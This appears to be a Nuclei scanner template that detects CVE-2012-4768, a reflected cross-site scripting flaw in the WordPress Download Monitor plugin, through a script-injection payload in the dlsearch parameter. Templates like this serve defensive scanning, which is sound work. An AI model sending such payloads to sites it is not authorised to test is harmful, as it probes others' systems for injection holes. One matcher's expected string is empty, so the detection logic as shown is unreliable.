id: CVE-2012-4768 info: name: WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in the Download Monitor plugin before 3.3.5.9 for WordPress allows remote attackers to inject arbitrary web script or HTML via the dlsearch parameter to the default URI. remediation: | Update to the latest version of Download Monitor (3.3.5.9 or higher) or apply the official patch provided by the plugin developer. reference: - https://nvd.nist.gov/vuln/detail/CVE-2012-4768 - http://packetstormsecurity.org/files/116408/wpdownloadmonitor3357-xss.txt - http://www.reactionpenetrationtesting.co.uk/wordpress-download-monitor-xss.html - https://exchange.xforce.ibmcloud.com/vulnerabilities/78422 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N cvss-score: 4.3 cve-id: CVE-2012-4768 cwe-id: CWE-79 epss-score: 0.00922 epss-percentile: 0.80933 cpe: cpe:2.3:a:mikejolley:download_monitor:3.3.5.7:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: mikejolley product: download_monitor framework: wordpress tags: xss,wp-plugin,packetstorm,cve,cve2012,wordpress http: - method: GET path: - '{{BaseURL}}/?dlsearch=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200